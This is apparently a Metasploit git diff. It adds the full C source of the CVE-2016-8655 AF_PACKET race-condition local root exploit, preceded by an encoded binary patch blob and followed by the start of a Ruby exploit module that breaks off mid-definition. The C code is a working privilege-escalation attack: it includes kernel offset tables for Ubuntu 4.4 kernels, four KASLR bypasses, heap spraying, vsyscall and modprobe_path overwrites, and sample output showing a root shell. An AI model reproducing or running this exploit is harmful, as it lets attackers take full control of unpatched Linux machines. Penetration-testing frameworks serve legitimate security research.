z2L(d(f6R(A$oK)qU&akZ?7c(SEd&I-*%whc78GqDY7{K!LJAxxW^gV>Ge0kFz zWc*v0@i2qMwGD8pUoAs2sFU?gFXO+&2F?to|2or;aCsSB`w(y{mvNoIXG|yaDw&?r zpPA?vs9yT7l<=AIrVV5GM=apCF&slR)cbeWb)U-pi&0+{15Wl#QNJ!ID7l@>^o{-9 zLWXY%$ONs-pk)j%ds4#xA#d8nfKz#m>AD$iv}4r0BCAQ1Y;w;d{18e5D6oR``=8oST7m zh~ec|OE}bmxIP4&_+uRJ9A~(3Ju{8R2)~TeRqY}daFUZ(Sa3dP`gsgD&O;V3+(@Sg z@ElMw>Wx>R@JXM{9m)!V>7UDVjPvb_8U8u*LCOD8z$yR6dBqyWSNlzLrvE4yMddQ~ z3vR|Y>fyBvH={k#CHA)B-UT?d-))Be_YTHi!+HkhtGL#qqAA@SL*%>CC-*V_XFLE^ z_4o+W@62ZYupW4d@r`z`iOaQ_8KdN65AdnqH;%_&V>-rp-NOvm#>sq&J*s#-&hYbD zv2m~#1)TVA)aRqn&x-Q0-c$YQX@C=cYq6w%i@a%*8UO7)5>Uts{kiH_k5uX3J`B` z-2gc0!xaYj&j2U>^#4@i&1L*wGW@YWNx-!Xzn|efY=5F(1(vHvdyna)@pwwv!?&Veq5K%f z5jQa0IPUnI>AYuX7nvwHrTf}0$(YgHE`|e6^NK~RPgFiX;e5X2miWr#odEe!|-4H zQNq!z#B~+JpW^~8WcXUZiJwM0P4n12zT!f=hMU(1$1QlYTFX~0ztCD;wQ`l!inofS zw@Qn3(S_!v@ReJ+xM~>?YT=NF9dP7TtIgl8#k?IC z&YnGUrbYqQ#@cpzo2}J(;DyOr>u+i4&|EcF!9fh*vu3O8R4%I!xsi#hw|FY#{fkp+ zfM=i@mzCVMqB!K3%-(?qau4cqQVHRD%kS_O&X`#;7v!58YwT9xT-8eM$`CFxQH&sX zcX7I`aEc+E1Q9XdGAX$EvU(hp0{mr=pK34s4C9U63rj3=41*`XQ}~RPxSr-lcrlaV z!9DBWAtov6b{ zO%rb9Al%(pi>DfL_klYVMYw5)uWR|x1b5#EfcthhMnW?3S$G_ay*X`!VsC(dRtkoH zCEV)B3%E$EuG#NxAPBk9!rfIz==f`GfXg1u?S~V3n+G5-ocj1FZfl(zE?|9BLvEMb z3TIwgU5n4^r@{lS!STER)Va0x+Q#}upI4I+tmLRzGxsEc9);*34vB~BSH_%Aa+wcsu+o`qHcft0mk6%K8wZtQ}z-R?#p)gB>B zkM>sSq8NZiXQK~3=9?WNx)fn+5vaq#zSUk_%n-uhN1qq9z+|p+3BgydsAK6BjB1r? zGZrBI`6oc&S)OqLY;EDZ%LfPtJdOd53Uv5|$l*yoG?V8$1d;zHa(0GCqzVU4^#V^m zOH@3!3m{s%e8yn}%?<}~1#Q&X+6d1~;#n}k*DTrwa^7f1?Sn0VXwDxqOZHBa=anZ2}BE%~^tT99rd@G(?bgl+BZiRT5t-=2lJm2@a(3cJ-MaO%$zy9M8umpb50RbuXEdRl!F&e@<~b|P>uCYcxR^< zyUX1{uk>8!A&1j=AgB8^Tv$91sKr*>+9+Cd3p{L**L4EI*PGN&HE1+#R3PvGe$Aoo zrO3=Inmb!-sew~?!N@kK=aw2u0UAX(nZq;bHg6Mp3a5keTFZ(8k5DO&x@KEFRitbW zB)8&)oZ5l^ZQ=#0qfvM*5*bAK#5;*pLNE)O3Kh*>1w-*jJsb;gH#Fhz-qu9Qv-IdTW}PuT|8K=!XG2IV{eDk&Ygff<^rL$s2p&! z-KSAV4IPc6&}8FIa?^wi*z0{l&^6)2sSa-Z$g8hQwGrY6d@BOc<7jJi@-yKAgqnvt zG}6h`oNCZR6qn4HCHfz*6KxEyvtzXjls1?OvMv=z;a!u2LTG-Wf>39qdPObRe6B_W zdL1nyi~Q(@*GYa+(g5R^sf9Rpy1&m1OWFpvjorS0PB+3QC4q-2+ax1?ozx zv({PEzEt#+>}4DBc!7878u0vv>MTWy zQgHCdI>t&4AQ4MwOA#Fv1z*l6k8GM6niW)mRh>`)98pv%6yeJ z8BKIsR%=6>9Ym$_m-Y>54lX~Q(0zzLAK51xRH_5n&m*_WNJB`1V*E}`fDbsfK}4s_ zB;|%R1OlaiYq2V}E6IdUQOY$+@5KQH@frt<40SFPhr0vltu3No#}jcz@WpCfwY1zS z?OZ7*UQyy^L0zDzt`iVpqbs9WsYqjbRyHr8mr<}b(JfO2#eRKgmJDK|&0r!jT_3_RvTo zMVbOShg1#%A>39rS!^i2hBG|MS5;e~1S&OY0Be+at2*OIb}p;{DLy&~r)*K;Gz2T8 z(@y22?ogNngahvQld3(j9g~^Ql*k-```$WX>H?nLXrE!lCp(e!DcH8e_626QYM<%rBq++$*h!5?00o4qq| zBT*vzovb#B09U(-+C>-=?eLr~#Vw|~5!0sZWFnRzMd+cACY zZxekn#L(o)Jz_3L9@`VkS5iZe9Vg09>`;wQN&?1{tfAx0m<5!?T^NpR)yEMipQLZd z5Fq=85j3lV+*l)fNhY|QkO5Q(EZI1TEnJpgSjU7CGalPK)X+SV@r`ndi4;4$ztnA;M{j})6^C3<}vgu(+F z(2N^5as>Y!_W3-1I9`rTR8clq?V{r%?SLb}FlfWfmPpD`->SyI37rD#AE`>f8Lbcu zr4fB0iI2E9s3$l+Z_o;BJDkLGamS2NA(Xd`UbI4?TnpXJzQTH!Pb(CI#zGnj0m&sq zwb0RE6;rEPp_n2C6?A@H+#twA35bF+{EOQ)B17b4uvQ2)hj=bbfngTyzi`oaAo}FQ zpJihH%hb9VOyi47g{yga^<9|0ZVkgvg)2X2>Ru$H3%{H+<*wrAGMv7XX5gpdZ{c}) zb?49Vj7@uyk}vuUMR`&2?`4G8oroud8`GbMFp4sWkZ`GWh3Y;+f@6P;>2F3zV*EAy z{Z8Ha^GYnfdRKR|A--_+fh zp0WHFb9}{rhdr.bh1.offset_to_first_pkt = 48 +*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* +please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. +closing socket and verifying....... +vsyscall page altered! + + +stage 1 completed +registering new sysctl.. + +new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 +sockets allocated +removing barrier and spraying.. +version switcher stopping, x = -1 (y = 30773, last val = 0) +current packet version = 2 +pbd->hdr.bh1.offset_to_first_pkt = 48 +race not won + +retrying stage.. +new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 +sockets allocated +removing barrier and spraying.. +version switcher stopping, x = -1 (y = 133577, last val = 2) +current packet version = 0 +pbd->hdr.bh1.offset_to_first_pkt = 48 +*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* +please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. +closing socket and verifying....... +sysctl added! + +stage 2 completed +binary executed by kernel, launching rootshell +root@ubuntu:~# id +uid=0(root) gid=0(root) groups=0(root),1000(user) + +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= + +Shoutouts to: +jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) +mcdelivery for delivering hotcakes and coffee + +11/2016 +by rebel +--- +Updated by +- check number of CPU cores +- KASLR bypasses +- additional kernel targets +https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655 +*/ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +#define ENABLE_KASLR_BYPASS 1 + +// Will be overwritten if ENABLE_KASLR_BYPASS +unsigned long KERNEL_BASE = 0xffffffff81000000ul; + +// Will be overwritten by detect_versions() +int kernel = -1; + +// New sysctl path +const char *SYSCTL_NAME = "hack"; +const char *SYSCTL_PATH = "/proc/sys/hack"; + +volatile int barrier = 1; +volatile int vers_switcher_done = 0; + +struct kernel_info { + char *kernel_version; + unsigned long proc_dostring; + unsigned long modprobe_path; + unsigned long register_sysctl_table; + unsigned long set_memory_rw; +}; + +struct kernel_info kernels[] = { + { "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 }, + { "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 }, + { "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 }, + { "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 }, + { "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 }, + { "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 }, + { "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 }, + { "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 }, + { "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 }, + { "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 }, + //{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880}, + { "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 }, + //{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880}, + { "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 }, + + { "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 }, + { "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 }, + { "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 }, + { "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 }, + { "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 }, + { "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 }, + { "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 }, + { "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 }, + { "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 }, + { "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 }, + { "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 }, + //{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320}, + { "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 }, + //{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320}, + { "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320}, +}; + +#define VSYSCALL 0xffffffffff600000 +#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring) +#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path) +#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table) +#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw) + +#define KMALLOC_PAD 64 + +int pad_fds[KMALLOC_PAD]; + +// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * + +struct ctl_table { + const char *procname; + void *data; + int maxlen; + unsigned short mode; + struct ctl_table *child; + void *proc_handler; + void *poll; + void *extra1; + void *extra2; +}; + +#define CONF_RING_FRAMES 1 + +struct tpacket_req3 tp; +int sfd; +int mapped = 0; + +struct timer_list { + void *next; + void *prev; + unsigned long expires; + void (*function)(unsigned long); + unsigned long data; + unsigned int flags; + int slack; +}; + +// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * + +void *setsockopt_thread(void *arg) +{ + while (barrier) {} + setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); + + return NULL; +} + +void *vers_switcher(void *arg) +{ + int val,x,y; + + while (barrier) {} + + while (1) { + val = TPACKET_V1; + x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + y++; + + if (x != 0) break; + + val = TPACKET_V3; + x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + if (x != 0) break; + + y++; + } + + dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val); + vers_switcher_done = 1; + + return NULL; +} + +// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * + +#define BUFSIZE 1408 +char exploitbuf[BUFSIZE]; + +void kmalloc(void) +{ + while(1) + syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2); +} + +void pad_kmalloc(void) +{ + int x; + for (x = 0; x < KMALLOC_PAD; x++) + if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) { + dprintf("[-] pad_kmalloc() socket error\n"); + exit(EXIT_FAILURE); + } +} + +// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * + +int try_exploit(unsigned long func, unsigned long arg, void *verification_func) +{ + pthread_t setsockopt_thread_thread,a; + int val; + socklen_t l; + struct timer_list *timer; + int fd; + struct tpacket_block_desc *pbd; + int off; + sigset_t set; + + sigemptyset(&set); + + sigaddset(&set, SIGSEGV); + + if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { + dprintf("[-] couldn't set sigmask\n"); + exit(1); + } + + dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg); + + pad_kmalloc(); + + fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); + + if (fd == -1) { + dprintf("[-] target socket error\n"); + exit(1); + } + + pad_kmalloc(); + + dprintf("[.] done, sockets allocated\n"); + + val = TPACKET_V3; + + setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); + tp.tp_block_nr = 1; + tp.tp_frame_size = getpagesize(); + tp.tp_frame_nr = CONF_RING_FRAMES; + + // try to set the timeout to 10 seconds + // the default timeout might still be used though depending on when the race was won + tp.tp_retire_blk_tov = 10000; + + sfd = fd; + + if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { + dprintf("[-] Error creating thread\n"); + return 1; + } + + pthread_create(&a, NULL, vers_switcher, (void *)NULL); + + usleep(200000); + + dprintf("[.] removing barrier and spraying...\n"); + + memset(exploitbuf, '\x00', BUFSIZE); + + timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); + timer->next = 0; + timer->prev = 0; + + timer->expires = 4294943360; + timer->function = (void *)func; + timer->data = arg; + timer->flags = 1; + timer->slack = -1; + + barrier = 0; + + usleep(100000); + + while (!vers_switcher_done) usleep(100000); + + l = sizeof(val); + getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); + + dprintf("[.] current packet version = %d\n",val); + + pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); + + if (pbd == MAP_FAILED) { + dprintf("[-] could not map pbd\n"); + exit(1); + } else { + off = pbd->hdr.bh1.offset_to_first_pkt; + dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off); + } + + + if (val == TPACKET_V1 && off != 0) { + dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n"); + } else { + dprintf("[-] race not won\n"); + exit(2); + } + + munmap(pbd, tp.tp_block_size * tp.tp_block_nr); + + pthread_create(&a, NULL, verification_func, (void *)NULL); + + dprintf("\n"); + dprintf("[!] please wait up to a few minutes for timer to be executed.\n"); + dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n"); + dprintf("\n"); + + sleep(1); + dprintf("[.] closing socket and verifying...\n"); + + close(sfd); + + kmalloc(); + + dprintf("[.] all messages sent\n"); + + sleep(31337); + exit(1); +} + +int verification_result = 0; + +void catch_sigsegv(int sig) +{ + verification_result = 0; + pthread_exit((void *)1); +} + +void *modify_vsyscall(void *arg) +{ + unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); + unsigned long x = (unsigned long)arg; + + sigset_t set; + sigemptyset(&set); + sigaddset(&set, SIGSEGV); + + if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { + dprintf("[-] couldn't set sigmask\n"); + exit(EXIT_FAILURE); + } + + signal(SIGSEGV, catch_sigsegv); + + *vsyscall = 0xdeadbeef+x; + + if (*vsyscall == 0xdeadbeef+x) { + dprintf("[~] vsyscall page altered!\n"); + verification_result = 1; + pthread_exit(0); + } + + return NULL; +} + +void verify_stage1(void) +{ + pthread_t v_thread; + + sleep(5); + + int x; + for(x = 0; x < 300; x++) { + + pthread_create(&v_thread, NULL, modify_vsyscall, 0); + + pthread_join(v_thread, NULL); + + if(verification_result == 1) { + exit(0); + } + + write(2,".",1); + sleep(1); + } + + dprintf("[-] could not modify vsyscall\n"); + exit(EXIT_FAILURE); +} + +void verify_stage2(void) +{ + struct stat b; + + sleep(5); + + int x; + for(x = 0; x < 300; x++) { + + if (stat(SYSCTL_PATH, &b) == 0) { + dprintf("[~] sysctl added!\n"); + exit(0); + } + + write(2,".",1); + sleep(1); + } + + dprintf("[-] could not add sysctl\n"); + exit(EXIT_FAILURE); +} + +void exploit(unsigned long func, unsigned long arg, void *verification_func) +{ + int status; + int pid; + +retry: + + pid = fork(); + + if (pid == 0) { + try_exploit(func, arg, verification_func); + exit(1); + } + + wait(&status); + + dprintf("\n"); + + if (WEXITSTATUS(status) == 2) { + dprintf("[.] retrying stage...\n"); + kill(pid, 9); + sleep(2); + goto retry; + } + + if (WEXITSTATUS(status) != 0) { + dprintf("[-] something bad happened, aborting exploit attempt\n"); + exit(EXIT_FAILURE); + } + + kill(pid, 9); +} + + +void wrapper(void) +{ + struct ctl_table *c; + + dprintf("[.] making vsyscall page writable...\n\n"); + + exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1); + + dprintf("[~] done, stage 1 completed\n"); + + sleep(5); + + dprintf("[.] registering new sysctl...\n\n"); + + c = (struct ctl_table *)(VSYSCALL+0x850); + + memset((char *)(VSYSCALL+0x850), '\x00', 1952); + + strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME); + memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4); + c->procname = (char *)(VSYSCALL+0xf00); + c->mode = 0666; + c->proc_handler = (void *)(PROC_DOSTRING); + c->data = (void *)(MODPROBE_PATH); + c->maxlen = 256; + c->extra1 = (void *)(VSYSCALL+0xe00); + c->extra2 = (void *)(VSYSCALL+0xd00); + + exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2); + + dprintf("[~] done, stage 2 completed\n"); +} + +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * + +void check_procs() { + int min_procs = 2; + + int nprocs = 0; + nprocs = get_nprocs_conf(); + + if (nprocs < min_procs) { + dprintf("[-] system has less than %d processor cores\n", min_procs); + exit(EXIT_FAILURE); + } + + dprintf("[.] system has %d processor cores\n", nprocs); +} + +struct utsname get_kernel_version() { + struct utsname u; + int rv = uname(&u); + if (rv != 0) { + dprintf("[-] uname())\n"); + exit(EXIT_FAILURE); + } + return u; +} + +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) + +void detect_versions() { + struct utsname u; + char kernel_version[512]; + + u = get_kernel_version(); + + if (strstr(u.machine, "64") == NULL) { + dprintf("[-] system is not using a 64-bit kernel\n"); + exit(EXIT_FAILURE); + } + + if (strstr(u.version, "-Ubuntu") == NULL) { + dprintf("[-] system is not using an Ubuntu kernel\n"); + exit(EXIT_FAILURE); + } + + char *u_ver = strtok(u.version, " "); + snprintf(kernel_version, 512, "%s %s", u.release, u_ver); + + int i; + for (i = 0; i < ARRAY_SIZE(kernels); i++) { + if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { + dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version); + kernel = i; + return; + } + } + + dprintf("[-] kernel version not recognized\n"); + exit(EXIT_FAILURE); +} + +// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * + +#define SYSLOG_ACTION_READ_ALL 3 +#define SYSLOG_ACTION_SIZE_BUFFER 10 + +bool mmap_syslog(char** buffer, int* size) { + *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); + return false; + } + + *size = (*size / getpagesize() + 1) * getpagesize(); + *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); + if (*size == -1) { + dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); + return false; + } + + return true; +} + +unsigned long get_kernel_addr_trusty(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) return 0; + + int start = 0; + int end = 0; + for (end = start; substr[end] != '-'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) return 0; + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xffffffffff000000ul; + + return r; +} + +unsigned long get_kernel_addr_xenial(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) { + return 0; + } + + int start = 0; + int end = 0; + for (start = 0; substr[start] != '-'; start++); + for (end = start; substr[end] != '\n'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) { + return 0; + } + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xfffffffffff00000ul; + r -= 0x1000000ul; + + return r; +} + +unsigned long get_kernel_addr_syslog() { + unsigned long addr = 0; + char* syslog; + int size; + + dprintf("[.] trying syslog...\n"); + + if (!mmap_syslog(&syslog, &size)) + return 0; + + if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL) + addr = get_kernel_addr_trusty(syslog, size); + else + addr = get_kernel_addr_xenial(syslog, size); + + if (!addr) + dprintf("[-] kernel base not found in syslog\n"); + + return addr; +} + +// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_kallsyms() { + FILE *f; + unsigned long addr = 0; + char dummy; + char sname[256]; + char* name = "startup_64"; + char* path = "/proc/kallsyms"; + + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_sysmap() { + FILE *f; + unsigned long addr = 0; + char path[512] = "/boot/System.map-"; + char version[32]; + + struct utsname u; + u = get_kernel_version(); + strcat(path, u.release); + dprintf("[.] trying %s...\n", path); + f = fopen(path, "r"); + if (f == NULL) { + dprintf("[-] open/read(%s)\n", path); + return 0; + } + + char dummy; + char sname[256]; + char* name = "startup_64"; + int ret = 0; + while (ret != EOF) { + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fclose(f); + return addr; + } + } + + fclose(f); + dprintf("[-] kernel base not found in %s\n", path); + return 0; +} + +// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * + +unsigned long get_kernel_addr_mincore() { + unsigned char buf[getpagesize()/sizeof(unsigned char)]; + unsigned long iterations = 20000000; + unsigned long addr = 0; + + dprintf("[.] trying mincore info leak...\n"); + /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ + if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, + MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { + dprintf("[-] mmap()\n"); + return 0; + } + + int i; + for (i = 0; i <= iterations; i++) { + /* Touch a mishandle with this type mapping */ + if (mincore((void*)0x86000000, 0x1000000, buf)) { + dprintf("[-] mincore()\n"); + return 0; + } + + int n; + for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { + addr = *(unsigned long*)(&buf[n]); + /* Kernel address space */ + if (addr > 0xffffffff00000000) { + addr &= 0xffffffffff000000ul; + if (munmap((void*)0x66000000, 0x20000000000)) + dprintf("[-] munmap()\n"); + return addr; + } + } + } + + if (munmap((void*)0x66000000, 0x20000000000)) + dprintf("[-] munmap()\n"); + + dprintf("[-] kernel base not found in mincore info leak\n"); + return 0; +} + +// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * + +unsigned long get_kernel_addr() { + unsigned long addr = 0; + + addr = get_kernel_addr_kallsyms(); + if (addr) return addr; + + addr = get_kernel_addr_sysmap(); + if (addr) return addr; + + addr = get_kernel_addr_syslog(); + if (addr) return addr; + + addr = get_kernel_addr_mincore(); + if (addr) return addr; + + dprintf("[-] KASLR bypass failed\n"); + exit(EXIT_FAILURE); + + return 0; +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * + +void launch_rootshell(void) +{ + int fd; + char buf[256]; + struct stat s; + + fd = open(SYSCTL_PATH, O_WRONLY); + + if(fd == -1) { + dprintf("[-] could not open %s\n", SYSCTL_PATH); + exit(EXIT_FAILURE); + } + + memset(buf, '\x00', 256); + + readlink("/proc/self/exe", (char *)&buf, 256); + + write(fd, buf, strlen(buf)+1); + + socket(AF_INET, SOCK_STREAM, 132); + + if (stat(buf,&s) == 0 && s.st_uid == 0) { + dprintf("[+] binary executed by kernel, launching rootshell\n"); + lseek(fd, 0, SEEK_SET); + write(fd, "/sbin/modprobe", 15); + close(fd); + execl(buf, buf, NULL); + } else { + dprintf("[-] could not create rootshell\n"); + exit(EXIT_FAILURE); + } +} + +void setup_sandbox() { + if (unshare(CLONE_NEWUSER) != 0) { + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + + if (unshare(CLONE_NEWNET) != 0) { + dprintf("[-] unshare(CLONE_NEWNET)\n"); + exit(EXIT_FAILURE); + } +} + +int main(int argc, char **argv) +{ + int status, pid; + struct utsname u; + char buf[512], *f; + + if (getuid() == 0 && geteuid() == 0) { + chown("/proc/self/exe", 0, 0); + chmod("/proc/self/exe", 06755); + exit(0); + } + + if (getuid() != 0 && geteuid() == 0) { + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execl("/bin/bash", "bash", "-p", NULL); + exit(0); + } + + dprintf("linux AF_PACKET race condition exploit by rebel\n"); + + dprintf("[.] starting\n"); + + dprintf("[.] checking hardware\n"); + check_procs(); + dprintf("[~] done, hardware looks good\n"); + + dprintf("[.] checking kernel version\n"); + detect_versions(); + dprintf("[~] done, version looks good\n"); + +#if ENABLE_KASLR_BYPASS + dprintf("[.] KASLR bypass enabled, getting kernel base address\n"); + KERNEL_BASE = get_kernel_addr(); + dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE); +#endif + + dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING); + dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH); + dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE); + dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW); + + pid = fork(); + if (pid == 0) { + dprintf("[.] setting up namespace sandbox\n"); + setup_sandbox(); + dprintf("[~] done, namespace sandbox set up\n"); + wrapper(); + exit(0); + } + + waitpid(pid, &status, 0); + + launch_rootshell(); + return 0; +} diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb new file mode 100644 index 000000000000..b5a4dd78fdbc --- /dev/null +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AF_PACKET chocobo_root Privilege Escalation', + 'Description' => 